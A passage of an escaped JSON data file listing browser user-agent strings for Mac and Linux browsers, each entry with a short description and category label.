- Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.4 (KHTML like Gecko) Chrome\\/22.0.1229.79 Safari\\/537.4\"},{\"description\":\"Firefox 0.9 (OS X Mach)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko\\/20040614 Firefox\\/3.0.0\"},{\"description\":\"Firefox 3.0.3 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko\\/2008092414 Firefox\\/3.0.3\"},{\"description\":\"Firefox 3.5 (OS X 10.5 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko\\/20090624 Firefox\\/3.5\"},{\"description\":\"Firefox 3.6 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko\\/20110218 AlexaToolbar\\/alxf-2.0 Firefox\\/3.6.14\"},{\"description\":\"Firefox 3.6 (OS X 10.5 PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko\\/20110303 Firefox\\/3.6.15\"},{\"description\":\"Firefox 4.0.1 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 5.0 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"description\":\"Firefox 9.0 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko\\/20100101 Firefox\\/9.0\"},{\"description\":\"Firefox 10.0.1 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"description\":\"Firefox 16.0 (OS X 10.8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko\\/20120813 Firefox\\/16.0\"},{\"description\":\"MSIE 5.15 (OS 9)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.15; Mac_PowerPC)\"},{\"description\":\"Omniweb 563.15 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit\\/125.4 (KHTML, like Gecko, Safari) OmniWeb\\/v563.15\"},{\"description\":\"Opera 9.0 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.0 (Macintosh; PPC Mac OS X; U; en)\"},{\"description\":\"Opera 9.20 (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.20 (Macintosh; Intel Mac OS X; U; en)\"},{\"description\":\"Opera 9.64 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.64 (Macintosh; PPC Mac OS X; U; en) Presto\\/2.1.1\"},{\"description\":\"Opera 10.61 (id as 9.8) (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X; U; en) Presto\\/2.6.30 Version\\/10.61\"},{\"description\":\"Opera 11.00 (id as 9.8) (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto\\/2.7.62 Version\\/11.00\"},{\"description\":\"Safari 85 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/125.2 (KHTML, like Gecko) Safari\\/85.8\"},{\"description\":\"Safari 125.8 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/125.2 (KHTML, like Gecko) Safari\\/125.8\"},{\"description\":\"Safari 312.3 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit\\/312.5 (KHTML, like Gecko) Safari\\/312.3\"},{\"description\":\"Safari 419.3 (OS X PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/418.8 (KHTML, like Gecko) Safari\\/419.3\"},{\"description\":\"Chrome 26.0 (OS X 10_8_4 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/537.31 (KHTML like Gecko) Chrome\\/26.0.1410.63 Safari\\/537.31\"},{\"description\":\"Chrome 28.0 (OS X 10_8_3 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/28.0.1469.0 Safari\\/537.36\"},{\"description\":\"Chrome 32.0 (OS X 10_9_0 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1664.3 Safari\\/537.36\"},{\"description\":\"Chrome 36.0 (OS X 10_9_2 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1944.0 Safari\\/537.36\"},{\"description\":\"Chrome 41.0 (OS X 10_10_1) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2227.1 Safari\\/537.36\"},{\"description\":\"Chrome 51.0 (OS X 10_11_5) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"description\":\"Chrome 52.0 (OS X 10_10_1) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"description\":\"Chrome 55.0 (OS X 10_10_5) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2859.0 Safari\\/537.36\"},{\"description\":\"Chrome 60.0 (OS X 10_10_1) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"description\":\"Chrome 61.0 (OS X 10_10_5) Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.49 Safari\\/537.36\"},{\"description\":\"Firefox 20.0 (OS X 10.7 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"description\":\"Firefox 21.0 (OS X 10.8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"description\":\"Firefox 25.0 (OS X 10.6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"description\":\"Firefox 35.0 (OS X 10.9 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"description\":\"Firefox 40.0 (OS X 10.10 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"description\":\"Firefox 47.0 (OS X 10.9 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"description\":\"Firefox 49.0 (OS X 10.12 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"description\":\"Firefox 55.0 (OS X 10.13 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"description\":\"iTunes 4.2 (OS X 10.2 PPC)\",\"kind\":\"Browsers - Mac\",\"ua\":\"iTunes\\/4.2 (Macintosh; U; PPC Mac OS X 10.2)\"},{\"description\":\"iTunes 9.0.3 (OS X 10_6_2)\",\"kind\":\"Browsers - Mac\",\"ua\":\"iTunes\\/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)\"},{\"description\":\"Maxthon 4.5.2 (AppleWebKit 600.8) (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Maxthon\\/4.5.2\"},{\"description\":\"Omniweb 622.8 (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit\\/528.16 (KHTML, like Gecko, Safari\\/528.16) OmniWeb\\/v622.8.0.112941\"},{\"description\":\"Omniweb 622.8 (OS X 10_5_6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit\\/528.16 (KHTML, like Gecko, Safari\\/528.16) OmniWeb\\/v622.8.0\"},{\"description\":\"Opera 11.52 (id as 9.8) (OS X Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto\\/2.9.168 Version\\/11.52\"},{\"description\":\"Opera 28.0 (Blink) (OS X 10_10_2 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51\"},{\"description\":\"Opera 29.0 (Blink) (OS X 10_10_2 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.82 Safari\\/537.36 OPR\\/29.0.1795.41\"},{\"description\":\"Safari 531.21 (OS X 10_6_2 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"description\":\"Safari 533.19 (OS X 10_6_5 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit\\/534.15  (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"description\":\"Safari 533.20 (OS X 10_6_6 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"description\":\"Safari 534.20 (OS X 10_7 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit\\/534.20.8 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.20.8\"},{\"description\":\"Safari 534.55 (OS X 10_7_3 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.3 Safari\\/534.53.10\"},{\"description\":\"Safari 534.57 (5.1.7) (OS X 10_6_8 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.13+ (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"description\":\"Safari 536.26 (6) (OS X 10_7_5 Intel)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.26.17 (KHTML like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"description\":\"Safari 7 537.78 (OS X 10_9_5)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.1 (KHTML like Gecko) Version\\/7.0.6 Safari\\/537.78.1\"},{\"description\":\"Safari 7.0 537.75 (OS X 10_9_3)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"description\":\"Safari 8.0 600.8 (OS X 10_10_5)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/8.0.8 Safari\\/600.8.9\"},{\"description\":\"Safari 9.0 601.1.56 (OS X 10_11)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.56 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.56\"},{\"description\":\"Safari 10.1 601.7 (OS X 10_11_6)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"description\":\"Safari 10.0 602.1 (OS X 10_10_5)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"description\":\"SeaMonkey 2.7.1 (OS X 10.5 - Mozilla)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1 SeaMonkey\\/2.7.1\"},{\"description\":\"Silk 1.0.13 (AppleWebKit 533.16) 2.9 (Mac OS X 10_6_3)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk\\/1.0.13.81_10003810) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16 Silk-Accelerated=true\"},{\"description\":\"Vivaldi 1.0.162 (Chrome 41) (Mac OS X 10_10_3)\",\"kind\":\"Browsers - Mac\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.105 Safari\\/537.36 Vivaldi\\/1.0.162.9\"},{\"description\":\"Elinks 0.4pre5\",\"kind\":\"Browsers - Linux\",\"ua\":\"ELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)\"},{\"description\":\"ELinks 0.9.3 (Kanotix)\",\"kind\":\"Browsers - Linux\",\"ua\":\"ELinks\\/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)\"},{\"description\":\"ELinks 0.12~pre5-4\",\"kind\":\"Browsers - Linux\",\"ua\":\"ELinks\\/0.12~pre5-4\"},{\"description\":\"Links 0.9.1\",\"kind\":\"Browsers - Linux\",\"ua\":\"Links\\/0.9.1 (Linux 2.4.24; i386;)\"},{\"description\":\"Links 2.1\",\"kind\":\"Browsers - Linux\",\"ua\":\"Links (2.1pre15; Linux 2.4.26 i686; 158x61)\"},{\"description\":\"Links 2.3pre1\",\"kind\":\"Browsers - Linux\",\"ua\":\"Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)\"},{\"description\":\"Lynx 2.8.5rel.1\",\"kind\":\"Browsers - Linux\",\"ua\":\"Lynx\\/2.8.5rel.1 libwww-FM\\/2.14 SSL-MM\\/1.4.1 GNUTLS\\/0.8.12\"},{\"description\":\"w3m 0.5.1\",\"kind\":\"Browsers - Linux\",\"ua\":\"w3m\\/0.5.1\"},{\"description\":\"Chrome 4.0 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US) AppleWebKit\\/532.4 (KHTML, like Gecko) Chrome\\/4.0.237.0 Safari\\/532.4 Debian\"},{\"description\":\"Chrome 4.0\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US) AppleWebKit\\/532.8 (KHTML, like Gecko) Chrome\\/4.0.277.0 Safari\\/532.8\"},{\"description\":\"Chrome 5.0\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/532.9 (KHTML, like Gecko) Chrome\\/5.0.309.0 Safari\\/532.9\"},{\"description\":\"Chrome 7.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/534.7 (KHTML, like Gecko) Chrome\\/7.0.514.0 Safari\\/534.7\"},{\"description\":\"Chrome 9.1 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/540.0 (KHTML, like Gecko) Ubuntu\\/10.10 Chrome\\/9.1.0.0 Safari\\/540.0\"},{\"description\":\"Chrome 10.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/534.15 (KHTML, like Gecko) Chrome\\/10.0.613.0 Safari\\/534.15\"},{\"description\":\"Chrome 10.0 (Ubuntu 32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US) AppleWebKit\\/534.15 (KHTML, like Gecko) Ubuntu\\/10.10 Chromium\\/10.0.613.0 Chrome\\/10.0.613.0 Safari\\/534.15\"},{\"description\":\"Chrome 12.0 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/534.24 (KHTML, like Gecko) Ubuntu\\/10.10 Chromium\\/12.0.703.0 Chrome\\/12.0.703.0 Safari\\/534.24\"},{\"description\":\"Chrome 13.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/535.1 (KHTML, like Gecko) Chrome\\/13.0.782.20 Safari\\/535.1\"},{\"description\":\"Chrome 13.0 (Slackware 13.37 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 Slackware\\/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit\\/535.1 (KHTML, like Gecko) Chrome\\/13.0.782.41\"},{\"description\":\"Chrome 14.0 (Ubuntu 11.04)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/535.1 (KHTML, like Gecko) Ubuntu\\/11.04 Chromium\\/14.0.825.0 Chrome\\/14.0.825.0 Safari\\/535.1\"},{\"description\":\"Chrome 15.0 (Ubuntu 11.10)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/535.2 (KHTML, like Gecko) Ubuntu\\/11.10 Chromium\\/15.0.874.120 Chrome\\/15.0.874.120 Safari\\/535.2\"},{\"description\":\"Chrome 19.0 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.9 Safari\\/536.5\"},{\"description\":\"Epiphany 1.2 - Gecko\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany\\/1.2.5\"},{\"description\":\"Epiphany 1.4 - Gecko (Ubuntu)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko\\/20040924 Epiphany\\/1.4.4 (Ubuntu)\"},{\"description\":\"Firefox 0.8\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko\\/20040614 Firefox\\/0.8\"},{\"description\":\"Firefox 2.0.0.12 (Ubuntu 7.10)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko\\/20080207 Ubuntu\\/7.10 (gutsy) Firefox\\/2.0.0.12\"},{\"description\":\"Firefox 3.0.12 - (Ubuntu karmic 9.10)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko\\/2009060309 Ubuntu\\/9.10 (karmic) Firefox\\/3.0.11\"},{\"description\":\"Firefox 3.5.2 - Shiretoko (Ubuntu 9.04)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko\\/20090803 Ubuntu\\/9.04 (jaunty) Shiretoko\\/3.5.2\"},{\"description\":\"Firefox 3.5.5\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko\\/20091107 Firefox\\/3.5.5\"},{\"description\":\"Firefox 3.5.3 (Mint 8)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko\\/20091020 Linux Mint\\/8 (Helena) Firefox\\/3.5.3\"},{\"description\":\"Firefox 3.6.9 (Gentoo 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko\\/20100915 Gentoo Firefox\\/3.6.9\"},{\"description\":\"Firefox 3.8 (Ubuntu\\/9.25)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko\\/20121223 Ubuntu\\/9.25 (jaunty) Firefox\\/3.8\"},{\"description\":\"Firefox 4.0b6pre (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko\\/20100907 Firefox\\/4.0b6pre\"},{\"description\":\"Firefox 4.0.1 (32 on 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 4.0.1 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 4.0.1 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox 4.2a1pre (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko\\/20100101 Firefox\\/4.2a1pre\"},{\"description\":\"Firefox 5.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"description\":\"Firefox 6.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"description\":\"Firefox 7.0a1 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko\\/20110623 Firefox\\/7.0a1\"},{\"description\":\"Firefox 8.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:8.0) Gecko\\/20100101 Firefox\\/8.0\"},{\"description\":\"Firefox 10.0.1 (64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"description\":\"Firefox 11.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko\\/20120421 Gecko Firefox\\/11.0\"},{\"description\":\"Firefox 12.0 (32 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"description\":\"Firefox 14.0.1 (Ubuntu 64 bit)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"description\":\"Galeon 1.3\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon\\/1.3.14\"},{\"description\":\"Iceape (SeaMonkey) 1.1.9 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko\\/20080313 Iceape\\/1.1.9 (Debian-1.1.9-5)\"},{\"description\":\"Iceweasel (Firefox) 3.6.3 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko\\/20100402 Iceweasel\\/3.6.3 (like Firefox\\/3.6.3) GTB7.0\"},{\"description\":\"Iceweasel (Firefox) 5.0 (Debian 64)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0 Iceweasel\\/5.0\"},{\"description\":\"Iceweasel (Firefox) 6.0a2 (Debian 32)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:6.0a2) Gecko\\/20110615 Firefox\\/6.0a2 Iceweasel\\/6.0a2\"},{\"description\":\"Iceweasel (Firefox) 14.0.1\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1 Iceweasel\\/14.0.1\"},{\"description\":\"Iceweasel (Firefox) 15.02 (Debian)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:15.0) Gecko\\/20120724 Debian Iceweasel\\/15.02\"},{\"description\":\"Konqueror 3 rc4 - khtml\",\"kind\":\"Browsers - Linux\",\"ua\":\"Konqueror\\/3.0-rc4; (Konqueror\\/3.0-rc4; i686 Linux;;datecode)\"},{\"description\":\"Konqueror 3.3 - khtml (Gentoo)\",\"kind\":\"Browsers - Linux\",\"ua\":\"Mozilla\\/5.0 (compatible; 